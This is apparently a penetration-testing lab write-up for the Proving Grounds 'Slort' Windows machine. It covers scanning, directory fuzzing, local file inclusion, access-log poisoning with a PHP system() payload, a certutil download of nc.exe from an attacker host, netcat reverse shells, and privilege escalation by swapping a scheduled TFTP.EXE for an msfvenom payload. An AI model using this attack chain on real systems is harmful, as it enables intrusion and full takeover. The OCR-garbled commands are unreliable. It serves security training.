4443 /tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6

| http-title: Welcome to XAMPP

|_Requested resource was http://192.168.246.53:4443/dashboard/

5040/tcp open unknown

7680/tcp open pando-pub?

8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
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http://192.168.246.53:4443/dashboard/

|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-open-proxy: Proxy might be redirecting requests

| http-title: Welcome to XAMPP

|_Requested resource was http://192.168.246.53:8080/dashboard/

49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC

Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]

### LAB Steps:

— Started with the anonymou FTP and smb ports nothing done much !!
— There is an http server on port 4443

and it is a Xampp and there is php info pages !!

http://192.168.246.53:4443/dashboard/

O A 192.168.246.53:4443/dashboard B m0%

bgle Hacking DB OffSec @ OSCP | Just for simplic... GTFOBins Full TTYs | HackTricks |... @@ Online - Reverse Shell... @ Hash Type Identifier-I... & URL Decoder/Encoder

Apache Friends Applications ~ FAQs ~ HOW-TO Guides ~ PHPInfo  phpMyAdmin

XAMPP Apache + MariaDB + PHP + Perl

Welcome to XAMPP for Windows 7.4.6

phpinfo.php page !!

http://192.168.246.53:4443 /dashboard/phpinfo.ph
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http://192.168.246.53:8080/dashboard/
http://192.168.246.53:4443/dashboard/
http://192.168.246.53:4443/dashboard/phpinfo.php

in Environment I ahve found some internal path details !!

you can see the path and username

may be the local.txt location can be ??

C:\Users\rupert\Desktop\local.txt

I am done with this tried some directory fuzzing !!

ProgramFiles C:\Program Files

ProgramFiles(x86) C:\Program Files (x86)

ProgramWe6432 C:\Program Files

PSModulePath C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell
\v1.0\Modules

PUBLIC C:\Users\Public

SESSIONNAME Console

SystemDrive C:

SystemRoot C:\WINDOWS

TEMP C:\Users\rupert\AppData\Local\Temp

TMP C:\Users\rupert\AppData\Local\Temp

USERDOMAIN SLORT

USERDOMAIN_ROAMINGPROFILE SLORT

USERNAME rupert

USERPROFILE C:\Users\rupert

windir C:\WINDOWS

# ffuf -u hittp://192.168.246.53:4443 /FUZZ/ -w /usr/share/wordlists/seclists/

Discovery/Web-Content/raft-large-directories.txt

[—( root@ kali)-[/home/../offsec/pg/Win/Slort]
246.53:4443/FUZZ/

—# ffuf

v2.1.0-dev

Method ¢ GET

http://192.168.

/usr/share/wordlists/seclists/Discovery/Web-Content/ra

URL : http://192.168.246.53:4443/FUZZ/

: FUZZ: /u share/wordlis eclists/Discovery/Web-Content/raft-large-directorie
Follow redirects : false
Calibration 3 U

Timeout

Threads

Matcher 301,302,307,401,403,405,500

cgi-bin [Status: 403, Size: 1060, Words: 103, Lines: 43, Duration: 143ms]
img [Status: 200, 1219, Wor 84, Line 18, Duration: 96mnm
[Status: 403, Si 1060, Words: 103, Lines: 43,
[Status: 301, Size: 27, Words: 4, Lines: 1, Duration: 49ms]

webalizer [Status: 403, Size: 1060, Words: 103, Lines: 43, Duration: 63ms]



http://192.168.246.53:4443/FUZZ/

you can see intresting path called /site

O A& 192.168.246.53

DB Google Hacking DB OffSec @) OSCP | Just for simplic... GTFOBins Full TTYs | HackTricks |... @ Online - Reverse Shell ... @ Hash Type Identi

SLORT HOME

You can see the webapplication !!
observe the url carefully !!

http://192.168.246.53:4443 /site/index.php?page=main.ph

I have tried the name path of phpinfo.php by removing the mail.php

http://192.168.246.53:4443 /site/index.php?page=C: /xampp/htdocs/
dashboard/phpinfo.php

lol this worked !!
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http://192.168.246.53:4443/site/index.php?page=main.php
http://192.168.246.53:4443/site/index.php?page=C:/xampp/htdocs/dashboard/phpinfo.php
http://192.168.246.53:4443/site/index.php?page=C:/xampp/htdocs/dashboard/phpinfo.php

O A 192.168.246.53

bgle Hacking DB OffSec @) OSCP | Just for simplic... GTFOBins Full TTYs | HackTricks |... @ Online - Reverse Shell... @ Hash Type Identifier-I... §

System Windows NT SLORT 10.0 build 19042 (Windows 10) AMD64

Build Date May 12 2020 11:32:12

Compiler Visual C++ 2017

Architecture x64

Configure Command cscript /nologo /e:jscript configure.js "--enable-snapshot-build" "--ena

oci=c:\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,sh
snap-build\deps_aux\oracle\x64\instantclient 12 1\sdk,shared" "--en:
enable-com-dotnet=shared" "--without-analyzer" "--with-pgo"

Server API Apache 2.0 Handler
Virtual Directory Support enabled

Configuration File (php.ini) Path C:\WINDOWS

tried to see the Icoal.txt ?

http://192.168.246.53:4443 /site/index.php?page=C:
\Users\rupert\Desktop\local.txt

« S5 C @ O A& 192.168.246.53

Kali Linux Exploit-DB Google Hacking DB OffSec @) OSCP | Just for simplic... GTFOBIns

3e6beb5ab1c4f2ffd71040383c925a128

offcourse we are able to see the local.txt flag !!
How to get the Reverse shell !!

Simple steps !! LFI to RCE via accessl log's !!
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http://192.168.246.53:4443/site/index.php?page=C:UsersrupertDesktoplocal.txt
http://192.168.246.53:4443/site/index.php?page=C:UsersrupertDesktoplocal.txt

Request Response

Pretty = Raw > Pretty ¥ Raw  Hex
GET /site/i 7 nain.php HTTP/1.1 1 HTTP/1.1 200 OK

User-Agent: <?php echo system($ GET['cmd']); ?>

Accept:

text/html, lication/xhtml+xml,application/xml;qg=0.9,image/avif,image/w : ve: t
b Connection: K
Content -Type: tex
Content -Length: 1

: <!DOCTYPE HTML>
).53:4443/site/index.php ==
sthetic by freef
witter: http://t\

remove the User Agent and replace with : <?php echo system($_GET['cmd']); ?>
and send the request !!
And Now navigate to

http://192.168.246.53:4443/site/index.php?page=C:/xampp/apache/logs/access.log this
endpoint or

http://192.168.246.53:4443/site/index.php?page=\xampp\apache\logs\access.log

add ' &ecmd=dir’

http://192.168.246.53:4443/site/index.php?page=\xampp\apache\logs\access.log&cmd=dir

Request Response
Pretty w ex B Pretty Raw Hex Render

You can see we are able to perform commands !!

http://192.168.246.53:4443 /site/index.php?
page=\xampp\apache\logs\access.log&cmd=certutil+-uricache+-f+http://
192.168.45.225 /nc.exe+nc.exe
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http://192.168.246.53:4443/site/index.php?page=C:/xampp/apache/logs/access.log
http://192.168.246.53:4443/site/index.php?page=xamppapachelogsaccess.log
http://192.168.246.53:4443/site/index.php?page=xamppapachelogsaccess.log&amp;cmd=dir
http://192.168.246.53:4443/site/index.php?page=xamppapachelogsaccess.log&amp;cmd=certutil+-urlcache+-f+http://192.168.45.225/nc.exe+nc.exe
http://192.168.246.53:4443/site/index.php?page=xamppapachelogsaccess.log&amp;cmd=certutil+-urlcache+-f+http://192.168.45.225/nc.exe+nc.exe
http://192.168.246.53:4443/site/index.php?page=xamppapachelogsaccess.log&amp;cmd=certutil+-urlcache+-f+http://192.168.45.225/nc.exe+nc.exe

upload the nc.exe binary !!
06/12/2020

06/12/2020
LICENSE. txt
06/12/2020 07:
main.php
06/25/2024 09:11
nc . exe|
06/12/2020 07:45
portfolio.php
06/12/2020 07:45
README. t xt

6/12/2020 07:45
you can see we successfully uploaded the nc.exe
and now get the shell !!
http://192.168.246.53:4443 /site/index.php?

age=\xam apache\logs\access.log&cmd=C:
xXam htdocs\site\nc.exe+192.168.45.225+443+-e+cmd.exe

Request

Pretty Raw Hex

GET /site/index php?paqaza ampp
C:\xampp\htdocs Tywl.%'e+lwf
HTTP,1.1

Host: 192

Uspr—'g@nt Hu_1111‘“.u (X11; Linux
Gecko/20100101 Firefox/115.0
Accept:

text/html arrTifaTimeahtm1+xm1,applicati&mfrml;Q:G.@,imagefa
vif,imag;f“‘rr ;q:@.B
&ccept-Language. en-US,en;g=0.5
Accept -Encoding: gz 1; deflate, br
Connection:
Upgrade-Insecure-Requests: 1

we got the shell !!
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http://192.168.246.53:4443/site/index.php?page=xamppapachelogsaccess.log&amp;cmd=C:xampphtdocssitenc.exe+192.168.45.225+443+-e+cmd.exe
http://192.168.246.53:4443/site/index.php?page=xamppapachelogsaccess.log&amp;cmd=C:xampphtdocssitenc.exe+192.168.45.225+443+-e+cmd.exe
http://192.168.246.53:4443/site/index.php?page=xamppapachelogsaccess.log&amp;cmd=C:xampphtdocssitenc.exe+192.168.45.225+443+-e+cmd.exe

—(root@® kali) - [ /home/../offsec/pg/Win/Slort]
L# rlwrap -cAr nc 443
listening on [any] 443

connect to [192.168.45.225] from (UNKNOWN) [192.168.246.53] 5025

Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\site>whoami
whoamil
slort\rupert

C:\xampp\htdocs\site>hostname
hostname
slort

we got the local.txt

C:\Users\rupert\Desktop>type local.txt
type local.txt
3e6be5a51c4f2ffd71040383¢c925a128

C:\Users\rupert\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter EthernetO:

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . . : 192.168.246.53
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.246.254

C:\Users\rupert\Desktop>whoami
whoami
slort\rupert
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PrivEsc:

Ran Winpeas ...

File Pern
File Permis

There is an intresting file

PS C:\Backup> icacls "C:\Backup\TFTP.EXE"

icacls "C:\Backup\TFTP.EXE"

A EIS TN IR LMF(IBUTL TIN\Users: (I) (F)
BUILTIN\Administrators: (I)(F)
NT AUTHORITY\SYSTEM: (I)(F)
NT AUTHORITY\Authenticated Users:(I) (M)

icacls "C:\Backup\"

C:\Backup\ BUILTIN\Users:(0I)(CI)(F)
BUILTIN\Administrators:(I)(0I)(CI)(F)
NT AUTHORITY\SYSTEM: (I)(0OI)(CI)(F)
BUILTIN\Users:(I)(0I)(CI)(RX)

:(I)(M)
:(I)(0I)(CI)(IO0)(M)

you can see as a normal user we have full access !!
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PS C:\Backup> dir
dir

Directory: C:\Backup

LastWriteTime

11304 backup.txt
3 info.txt

there is info.txt file !!

PS C:\Backup> type info.txt
type info.txt

Run every 5 minutes:
C:\Backup\TFTP.EXE -1 192.168.234.57 get backup.txt

You can see this binary is run every mins !!
Let's try to replace that TFTP.EXE binary with our malicious binary !!

# msfvenom -p windows/x64 /shell_reverse_tcp LHOST=192.168.45.225
LPORT=8989 -f exe > shell8989.exe

PS C:\Backup> iwr -uri http://192.168.45.225/shell8989.exe -OutFile TFTP.EXE

Just replace that file and listen on port 8989

After some time we got the shell as Adminsitrator on port 8989
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http://192.168.45.225/shell8989.exe

—(root@kali)-[/home/../offsec/pg/Win/Slort]
L% rlwrap nc 8989
listening on [any] 8989

connect to [192.168.45.225] from (UNKNOWN) [192.168.246.53] 50444
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. ALl rights reserved.

C:\WINDOWS\system32>whoami
whoami
slort\administrator

C:\WINDOWS\system32>hostname
hostname
slort

C:\WINDOWS\system32>type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\proof.txt
276ddcb2dalc30c29a0al83e172353db

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . . : 192.168.246.53
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.246.254

C:\WINDOWS\system32>
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